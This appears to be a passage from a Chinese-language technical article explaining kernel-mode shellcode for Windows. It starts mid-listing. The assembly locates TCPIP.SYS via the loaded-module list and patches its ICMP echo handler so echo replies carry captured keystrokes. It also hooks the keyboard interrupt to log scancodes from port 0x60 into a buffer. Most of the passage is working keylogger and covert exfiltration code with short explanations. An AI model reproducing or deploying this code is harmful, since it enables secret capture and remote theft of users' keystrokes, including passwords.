扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
je @pslml_loop
cmp ebx, [edi+6]
jne @mmgsra_scan
@pslml_loop: ; 找到 _PsLoadedModuleList
mov ebx, [ebx]
mov esi, [ebx+30h]
mov edx, 50435449h ; "ITCP", 判断是否TCPIP.SYS 模块?
push 4
pop ecx
@pslml_name_loop:
lodsw
ror edx, 8
sub al, dl
je @pslml_name_loop_cont
cmp al, 20h
@pslml_name_loop_cont:
loopz @pslml_name_loop
@pslml_loop_cont:
jnz @pslml_loop
mov edi, [ebx+18h] ;TCPIP.SYS 模块基地址
上面的代码首先遍历MmGetSystemRoutineAddress程序来搜索该链表的指针。系统模块链表结构如下:
+00h LIST_ENTRY
+08h ???
+18h LPVOID module base address
+1Ch LPVOID ptr to entry point function
+20h DWORD size of image in bytes
+24h UNICODE_STRING full path and file name of module
+2Ch UNICODE_STRING module file name only
...
接下来就是分析该链表来取得TCPIP.SYS模块的基地址。
这些代码比起网络Shell Code更类似于软件crack,原因就在于:我们将要修改TCPIP驱动程序,这就意味着我们可以接受来自远程系统所捕获的键盘输入。有很多种方法,这里通过修改ICMP ECHO处理程序使之作为通信通道。
在TCPIP.SYS的SendEcho中我们将会使用shell code。由于完整的反汇编代码太长,下面是相关部分的代码片段:
从上面的反汇编代码来看,[edx+8]是指向ICMP ECHO缓冲区的指针,那么通过修改上面的代码把[edx+8]的指针改为指向我们的键盘缓冲区,这只是一件很容易的事。
mov eax, 428be85dh ; TCPIP.SYS 地址空间中的字节序列
@find_patch:
inc edi
cmp dword ptr [edi], eax
jnz @find_patch
add edi, 5
mov al, 68h
stosb ; Store "push"
mov eax, edx ; EDX 指向键盘缓冲区
stosd ; 保存键盘缓冲区指针
mov eax, 08428f90h ; "pop [edx+08h] / nop"
stosd
用下面的代码可以修改:
push keybuffer_offset
pop [edx+8]
nop
当ICMP ECHO请求被发送到远程系统时,反馈的数据包会包括已捕获的键盘输入,替换中断处理体是很容易的事--当有按键事件时我们的程序就会被调用,然后从键盘断口读取键盘扫描码并保存到按键缓冲区。
@handler_new:
push 0deadbeefh ; 保存当前处理程序指针
handler_old equ $-4
pushfd
pushad
xor eax, eax
lea edi, keybuf ; 用所分配的缓冲区地址改写
KB_PATCH equ $-4
in al, 60h ; 取得键盘扫描码
test al, al ; 没有扫描码?
jz @done
push edi
mov ecx, [edi]
lea edi, [edi+ecx+4]
stosb ; Store code in buffer
inc ecx
pop edi
cmp cx, 1023
jnz @done
xor ecx, ecx
@done:
mov [edi], ecx
popad
popfd
db 0c3h ; 返回到原来的处理程序
一旦有按键消息产生,上面的代码就会被调用,而初始的中断处理程序句柄(已经被改写)被压入堆栈。从0x60断口读取当前的扫描码并保存到所分配的缓冲区中。这个缓冲区可以保存0X3FF个键盘输入,如果之后再有扫描码就会覆盖前面部分。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。